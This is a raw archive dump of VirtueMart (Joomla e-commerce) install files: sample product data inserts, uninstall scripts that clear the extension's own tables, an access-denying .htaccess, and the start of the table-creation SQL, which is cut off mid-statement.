      ', NULL, '', 0, 3), (7, 6, 9, '(default)', NULL, '', 0, 0), (8, 6, 9, 'Variant A', 2.00000, '', 0, 1), (9, 6, 9, 'Variant B', 5.00000, '', 0, 2), (10, 6, 9, 'Variant C', 10.00000, '', 0, 3), (11, 7, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (12, 11, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="0"|', 0, 0), (13, 15, 1, '6', NULL, '', 0, 0), (14, 15, 1, '7', NULL, '', 0, 1), (15, 15, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (16, 15, 9, '(default)', NULL, '', 0, 1), (17, 15, 9, 'Variante A', 10.00000, '', 0, 2), (18, 15, 9, 'Variante B', 20.00000, '', 0, 3), (19, 15, 9, 'Variante C', 30.00000, '', 0, 4), (20, 23, 5, '', NULL, '', 0, 0), (21, 23, 6, 'Customfield string 1: Child content', NULL, '', 0, 1), (22, 23, 7, 'Customfield string 2: Child content', NULL, '', 0, 2), (23, 23, 8, '
      \r\nAdvanced PATTERN content
      \r\n>> This three customfields are assigned by adding Customfields Parent.
      ', NULL, '', 0, 3), (24, 26, 5, '', NULL, '', 0, 0), (25, 26, 6, 'Advanced multiple overwrite', NULL, '', 0, 1), (26, 26, 7, 'Advanced multiple overwrite', NULL, '', 0, 2), (27, 26, 8, '>> Advanced multiple overwrite', NULL, '', 0, 3), (28, 61, 1, '62', NULL, '', 0, 0), (29, 61, 1, '63', NULL, '', 0, 1), (30, 62, 1, '63', NULL, '', 0, 0), (31, 62, 1, '61', NULL, '', 0, 1), (32, 63, 1, '62', NULL, '', 0, 0), (33, 63, 1, '61', NULL, '', 0, 1), (44, 64, 13, 'Details: ', NULL, '', 0, 5), (43, 64, 11, '', NULL, '', 0, 4), (41, 64, 12, 'M-L', 1.00000, '', 0, 2), (40, 64, 12, 'S-M', NULL, '', 0, 1), (46, 65, 12, 'S', NULL, '', 0, 1), (42, 64, 12, 'L-XL', 2.00000, '', 0, 3), (45, 64, 14, 'Components: ', NULL, '', 0, 6), (47, 65, 12, 'M', 1.00000, '', 0, 2), (48, 65, 12, 'L', 3.00000, '', 0, 3), (49, 65, 11, '', NULL, '', 0, 4), (50, 65, 13, 'Extra fluffy cap your Santa will be amused', NULL, '', 0, 5), (51, 65, 14, '100% Synthetic Deerimitation', NULL, '', 0, 6), (52, 66, 12, 'S', NULL, '', 0, 1), (53, 66, 12, 'M', 3.00000, '', 0, 2), (54, 66, 12, 'L', 5.00000, '', 0, 3), (55, 66, 11, '', NULL, '', 0, 4), (56, 66, 13, 'The players choice!', NULL, '', 0, 5), (57, 66, 14, '100% Cotton', NULL, '', 0, 6), (58, 66, 1, '65', NULL, '', 0, 0), (59, 66, 1, '67', NULL, '', 0, 1), (60, 65, 1, '66', NULL, '', 0, 0), (61, 65, 1, '67', NULL, '', 0, 1), (62, 67, 12, 'S-M', NULL, '', 0, 1), (63, 67, 12, 'M-L', 1.00000, '', 0, 2), (64, 67, 12, 'L-XL', 2.00000, '', 0, 3), (65, 67, 11, '', NULL, '', 0, 4), (66, 67, 13, 'Your freetime and leisure heads friend', NULL, '', 0, 5), (67, 67, 14, '100% Cotton', NULL, '', 0, 6), (68, 67, 1, '65', NULL, '', 0, 0), (69, 67, 1, '66', NULL, '', 0, 1), (70, 68, 15, 'Twill', NULL, '', 0, 0), (71, 68, 15, 'Rip-stop', 10.00000, '', 0, 1), (72, 68, 16, 'M', NULL, '', 0, 2), (73, 68, 16, 'L', 10.00000, '', 0, 3), (74, 68, 17, '', NULL, '', 0, 4), (75, 68, 18, '100% natural wool', NULL, '', 0, 5), (76, 68, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (77, 69, 16, 'M-L', NULL, '', 0, 2), (78, 69, 16, 'L-XL', 15.00000, '', 0, 3), (79, 69, 17, '', NULL, '', 0, 4), (80, 69, 18, '100% Cotton', NULL, '', 0, 5), (81, 69, 19, 'Jumper ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (82, 70, 15, 'Fine', NULL, '', 0, 0), (83, 70, 15, 'Extra fine', 100.00000, '', 0, 1), (84, 70, 16, 'S-M', NULL, '', 0, 2), (85, 70, 16, 'M-L', 50.00000, '', 0, 3), (86, 70, 17, '', NULL, '', 0, 4), (87, 70, 18, '100% Cotton special', NULL, '', 0, 5), (88, 70, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (89, 71, 15, 'Cord', NULL, '', 0, 0), (90, 71, 15, 'Twill', 100.00000, '', 0, 1), (91, 71, 16, 'M-L', NULL, '', 0, 2), (92, 71, 16, 'L-XL', 100.00000, '', 0, 3), (93, 71, 17, '', NULL, '', 0, 4), (94, 71, 18, '100% Cotton', NULL, '', 0, 5), (95, 71, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (96, 72, 15, 'Rubber', NULL, '', 0, 0), (97, 72, 15, 'Polyethylen', 5.00000, '', 0, 1), (98, 72, 16, 'S-M', NULL, '', 0, 2), (99, 72, 16, 'L-XL', 5.00000, '', 0, 3), (100, 72, 17, '', NULL, '', 0, 4), (101, 72, 18, '100% Synthetic', NULL, '', 0, 5), (102, 72, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (103, 73, 16, 'XS', NULL, '', 0, 0), (104, 73, 16, 'S', 10.00000, '', 0, 1), (105, 73, 16, 'M', 20.00000, '', 0, 2), (106, 73, 16, 'L', 30.00000, '', 0, 3), (107, 73, 17, '', NULL, '', 0, 4), (108, 73, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6); INSERT IGNORE INTO `#__virtuemart_product_manufacturers` (`id`, `virtuemart_product_id`, `virtuemart_manufacturer_id`) VALUES (1, 1, 2), (2, 2, 2), (3, 3, 2), (4, 4, 2), (5, 5, 2), (6, 6, 2), (7, 7, 2), (8, 8, 2), (9, 9, 2), (10, 10, 2), (11, 11, 2), (12, 15, 2), (13, 19, 2), (14, 20, 2), (15, 21, 2), (16, 22, 2), (17, 23, 2), (18, 24, 1), (19, 25, 2), (20, 26, 1), (21, 27, 2), (22, 28, 2), (23, 36, 1), (24, 35, 3), (25, 34, 2), (26, 33, 1), (27, 32, 3), (28, 31, 2), (29, 30, 2), (30, 29, 1), (31, 37, 3), (32, 38, 2), (33, 39, 2), (34, 47, 1), (35, 46, 3), (36, 45, 2), (37, 44, 1), (38, 43, 3), (39, 42, 2), (40, 41, 1), (41, 40, 3), (42, 48, 2), (43, 49, 2), (44, 50, 2), (45, 58, 1), (46, 57, 3), (47, 56, 2), (48, 55, 1), (49, 54, 3), (50, 53, 2), (51, 52, 2), (52, 51, 1), (53, 59, 1), (54, 60, 3), (55, 61, 3), (56, 62, 2), (57, 63, 2), (58, 64, 2), (59, 65, 2), (60, 66, 1), (61, 67, 3), (62, 68, 2), (63, 70, 1), (64, 69, 3), (65, 71, 3), (66, 72, 1), (67, 73, 2); INSERT IGNORE INTO `#__virtuemart_product_medias` (`id`, `virtuemart_product_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 8, 1), (2, 2, 8, 1), (3, 3, 8, 1), (4, 4, 8, 1), (5, 5, 8, 1), (6, 6, 8, 1), (7, 7, 8, 1), (8, 11, 8, 1), (9, 15, 8, 1), (10, 19, 8, 1), (11, 23, 8, 1), (12, 26, 12, 1), (13, 22, 11, 1), (14, 27, 8, 1), (15, 49, 8, 1), (16, 38, 8, 1), (17, 60, 8, 1), (18, 61, 10, 1), (19, 62, 11, 1), (20, 63, 12, 1), (21, 64, 8, 1), (22, 65, 13, 1), (23, 66, 14, 1), (24, 67, 15, 1), (25, 68, 8, 1), (26, 69, 16, 1), (27, 70, 17, 1), (28, 71, 18, 1), (29, 72, 19, 1), (30, 73, 20, 1); INSERT IGNORE INTO `#__virtuemart_product_prices` (`virtuemart_product_price_id`, `virtuemart_product_id`, `virtuemart_shoppergroup_id`, `product_price`, `override`, `product_override_price`, `product_tax_id`, `product_discount_id`, `product_currency`) VALUES (1, 1, 0, 10.00000, 0, 0.00000, 0, 0, 47), (2, 2, 0, 0.00000, 0, 0.00000, 0, 0, 47), (3, 3, 0, 10.00000, 0, 0.00000, 0, 0, 47), (4, 5, 0, 10.00000, 0, 0.00000, 0, 0, 47), (5, 6, 0, 10.00000, 0, 0.00000, 0, 0, 47), (6, 7, 0, 10.00000, 0, 0.00000, 0, 0, 47), (7, 8, 0, 15.00000, 0, 0.00000, 0, 0, 47), (8, 9, 0, 20.00000, 0, 0.00000, 0, 0, 191), (9, 10, 0, 25.00000, 0, 0.00000, 0, 0, 191), (10, 11, 0, 10.00000, 0, 0.00000, 0, 0, 47), (11, 12, 0, 15.00000, 0, 0.00000, 0, 0, 191), (12, 13, 0, 20.00000, 0, 0.00000, 0, 0, 191), (13, 14, 0, 25.00000, 0, 0.00000, 0, 0, 191), (14, 15, 0, 10.00000, 0, 0.00000, 0, 0, 47), (15, 16, 0, 15.00000, 0, 0.00000, 0, 0, 191), (16, 17, 0, 20.00000, 0, 0.00000, 0, 0, 191), (17, 18, 0, 25.00000, 0, 0.00000, 0, 0, 191), (18, 4, 0, 10.00000, 0, 0.00000, 0, 0, 47), (19, 19, 0, 10.00000, 0, 0.00000, 0, 0, 47), (20, 21, 0, 20.00000, 0, 0.00000, 0, 0, 47), (21, 22, 0, 30.00000, 0, 0.00000, 0, 0, 47), (22, 23, 0, 100.00000, 0, 0.00000, 0, 0, 47), (23, 25, 0, 150.00000, 0, 0.00000, 0, 0, 47), (24, 26, 0, 200.00000, 0, 0.00000, 0, 0, 47), (25, 27, 0, 40.00000, 0, 0.00000, 0, 0, 47), (26, 38, 0, 210.00000, 0, 0.00000, 0, 0, 47), (27, 49, 0, 300.00000, 0, 0.00000, 0, 0, 47), (28, 61, 0, 29.00000, 0, 0.00000, 0, 0, 47), (29, 62, 0, 34.90000, 0, 0.00000, 0, 0, 47), (30, 63, 0, 44.90000, 0, 0.00000, 0, 0, 191), (31, 64, 0, 25.00000, 0, 0.00000, 0, 0, 47), (32, 65, 0, 24.90000, 0, 0.00000, 0, 0, 47), (33, 66, 0, 15.00000, 0, 0.00000, 0, 0, 47), (34, 67, 0, 17.90000, 0, 0.00000, 0, 0, 47), (35, 68, 0, 249.90000, 0, 0.00000, 0, 0, 47), (36, 69, 0, 149.90000, 0, 0.00000, 0, 0, 47), (37, 70, 0, 490.90000, 0, 0.00000, 0, 0, 47), (38, 71, 0, 899.90000, 0, 0.00000, 0, 0, 47), (39, 72, 0, 24.90000, 0, 0.00000, 0, 0, 182), (40, 73, 0, 449.90000, 0, 0.00000, 0, 0, 47), (41, 72, 3, 19.90000, 0, 0.00000, 0, 0, 47), (42, 73, 3, 349.90000, 0, 0.00000, 0, 0, 47), (43, 61, 3, 14.90000, 0, 0.00000, 0, 0, 47), (44, 62, 3, 24.90000, 0, 0.00000, 0, 0, 47), (45, 63, 3, 34.90000, 0, 0.00000, 0, 0, 47), (46, 65, 3, 14.90000, 0, 0.00000, 0, 0, 47), (47, 66, 3, 9.90000, 0, 0.00000, 0, 0, 47), (48, 67, 3, 12.90000, 0, 0.00000, 0, 0, 47); INSERT IGNORE INTO `#__virtuemart_ratings` (`virtuemart_rating_id`, `virtuemart_product_id`, `rates`, `ratingcount`, `rating`, `published`) VALUES (1, 4, 4, 1, 4.0, 0), (2, 5, 5, 1, 5.0, 0), (3, 6, 4, 1, 4.0, 0), (4, 7, 4, 1, 4.0, 0), (5, 11, 5, 1, 5.0, 0), (6, 15, 5, 1, 5.0, 0), (7, 22, 3, 1, 3.0, 0), (8, 23, 5, 1, 5.0, 0), (9, 24, 4, 1, 4.0, 0), (10, 25, 4, 1, 4.0, 0), (11, 26, 5, 1, 5.0, 0), (12, 21, 5, 1, 5.0, 0), (13, 20, 3, 1, 3.0, 0), (14, 19, 5, 1, 5.0, 0), (15, 63, 5, 1, 5.0, 0), (16, 60, 5, 1, 5.0, 0), (17, 61, 4, 1, 4.0, 0), (18, 62, 4, 1, 4.0, 0), (19, 67, 5, 1, 5.0, 0), (20, 64, 4, 1, 4.0, 0), (21, 65, 5, 1, 5.0, 0), (22, 66, 5, 1, 5.0, 0), (23, 71, 5, 1, 5.0, 0), (24, 72, 3, 1, 3.0, 0), (25, 73, 4, 1, 4.0, 0), (26, 70, 5, 1, 5.0, 0), (27, 69, 4, 1, 4.0, 0); INSERT IGNORE INTO `#__virtuemart_rating_votes` (`virtuemart_rating_vote_id`, `virtuemart_product_id`, `vote`, `lastip`) VALUES (1, 4, 4, '::1'), (2, 5, 5, '::1'), (3, 6, 4, '::1'), (4, 7, 4, '::1'), (5, 11, 5, '::1'), (6, 15, 5, '::1'), (7, 22, 3, '::1'), (8, 23, 5, '::1'), (9, 24, 4, '::1'), (10, 25, 4, '::1'), (11, 26, 5, '::1'), (12, 21, 5, '::1'), (13, 20, 3, '::1'), (14, 19, 5, '::1'), (15, 63, 5, '::1'), (16, 60, 5, '::1'), (17, 61, 4, '::1'), (18, 62, 4, '::1'), (19, 67, 5, '::1'), (20, 64, 4, '::1'), (21, 65, 5, '::1'), (22, 66, 5, '::1'), (23, 71, 5, '::1'), (24, 72, 3, '::1'), (25, 73, 4, '::1'), (26, 70, 5, '::1'), (27, 69, 4, '::1'); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (NULL, 1, 'Gold Level', 'Gold Level Shoppers.', 0,1,1), (NULL, 1, 'Wholesale', 'Shoppers that can buy at wholesale.', 0,1,1);PK@y>\+>components/com_virtuemart/install/uninstall_essential_data.sqlnuW+A-- Remove all essential data DELETE FROM `#__virtuemart_configs`; DELETE FROM `#__virtuemart_adminmenuentries`; DELETE FROM `#__virtuemart_modules`; DELETE FROM `#__virtuemart_orderstates`; DELETE FROM `#__virtuemart_userfields`; DELETE FROM `#__virtuemart_userfield_values`;PK@y>\VUvv=components/com_virtuemart/install/uninstall_required_data.sqlnuW+A-- Remove all required data DELETE FROM `#__virtuemart_permgroups`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_currencies`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_states`;PK@y>\,components/com_virtuemart/install/index.htmlnuW+APK@y>\)+components/com_virtuemart/install/.htaccessnuW+A Order allow,deny Deny from all PK@y>\&'-components/com_virtuemart/install/install.sqlnuW+A-- VirtueMart table SQL script -- This will install all the tables need to run VirtueMart -- -- Table structure for table `#__virtuemart_adminmenuentries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_adminmenuentries` ( `id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `module_id` tinyint(10) unsigned NOT NULL DEFAULT '0' COMMENT 'The ID of the VM Module, this Item is assigned to', `parent_id` tinyint(11) unsigned NOT NULL DEFAULT '0', `name` char(64) NOT NULL DEFAULT '0', `link` char(64) NOT NULL DEFAULT '0', `depends` char(64) NOT NULL DEFAULT '' COMMENT 'Names of the Parameters, this Item depends on', `icon_class` char(96), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `tooltip` char(128), `view` char(32), `task` char(32), PRIMARY KEY (`id`), KEY `module_id` (`module_id`), KEY `published` (`published`), KEY `ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Administration Menu Items' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calcs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calcs` ( `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1' COMMENT 'Belongs to vendor', `calc_jplugin_id` int(11) NOT NULL DEFAULT '0', `calc_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_descr` char(128) NOT NULL DEFAULT '' COMMENT 'Description', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_value_mathop` char(8) NOT NULL DEFAULT '' COMMENT 'the mathematical operation like (+,-,+%,-%)', `calc_value` decimal(10,4) NOT NULL DEFAULT '0.0000' COMMENT 'The Amount', `calc_currency` smallint(1) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'Currency of the Rule', `calc_shopper_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Shoppers', `calc_vendor_published` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Visible for Vendors', `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Startdate if nothing is set = permanent', `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Enddate if nothing is set = permanent', `for_override` tinyint(1) NOT NULL DEFAULT '0', `calc_params` varchar(18000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_calc_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `idx_calc_kind` (`calc_kind`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_categories` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_manufacturers` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_shoppergroups` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_countries` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_country_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_calc_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_calc_states` ( `id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_calc_id` (`virtuemart_calc_id`,`virtuemart_state_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_categories` ( `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `category_template` char(128), `category_layout` char(64), `category_product_layout` char(64), `products_per_row` tinyint(2), `limit_list_step` char(32), `limit_list_initial` smallint(1) UNSIGNED, `hits` int(1) unsigned NOT NULL DEFAULT '0', `metarobot` char(40) NOT NULL DEFAULT '', `metaauthor` char(64) NOT NULL DEFAULT '', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_category_id`), KEY `idx_category_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Product Categories are stored here' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_category_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `category_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `category_child_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY (`category_child_id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_category_parent_id` (`category_parent_id`,`category_child_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Category child-parent relation list'; -- -- Table structure for table `#__virtuemart_category_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_category_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_category_id` (`virtuemart_category_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_countries` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_countries` ( `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_worldzone_id` tinyint(11) NOT NULL DEFAULT '1', `country_name` char(64), `country_3_code` char(3), `country_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_country_id`), KEY `idx_country_3_code` (`country_3_code`), KEY `idx_country_2_code` (`country_2_code`), KEY `ordering` (`ordering`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Country records' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_coupons` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_coupons` ( `virtuemart_coupon_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `coupon_code` char(32) NOT NULL DEFAULT '', `percent_or_total` enum('percent','total') NOT NULL DEFAULT 'percent', `coupon_type` enum('gift','permanent') NOT NULL DEFAULT 'gift', `coupon_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_start_date` datetime, `coupon_expiry_date` datetime, `coupon_value_valid` decimal(15,5) NOT NULL DEFAULT '0.00000', `coupon_used` varchar(200) NOT NULL DEFAULT '', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_coupon_id`), KEY `idx_coupon_code` (`coupon_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store coupon codes' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_currencies` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_currencies` ( `virtuemart_currency_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `currency_name` char(64), `currency_code_2` char(2), `currency_code_3` char(3), `currency_numeric_code` int(4), `currency_exchange_rate` decimal(10,5), `currency_symbol` char(4), `currency_decimal_place` char(4), `currency_decimal_symbol` char(4), `currency_thousands` char(4), `currency_positive_style` char(64), `currency_negative_style` char(64), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '1', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_currency_id`), KEY `ordering` (`ordering`), KEY `published` (`published`), KEY `shared` (`shared`), KEY `virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_currency_code_3` (`currency_code_3`), KEY `idx_currency_numeric_code` (`currency_numeric_code`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Used to store currencies'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_customs` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_customs` ( `virtuemart_custom_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `custom_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `custom_jplugin_id` int(11) NOT NULL DEFAULT '0', `custom_element` char(50) NOT NULL DEFAULT '', `admin_only` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:Display in admin only', `custom_title` char(255) NOT NULL 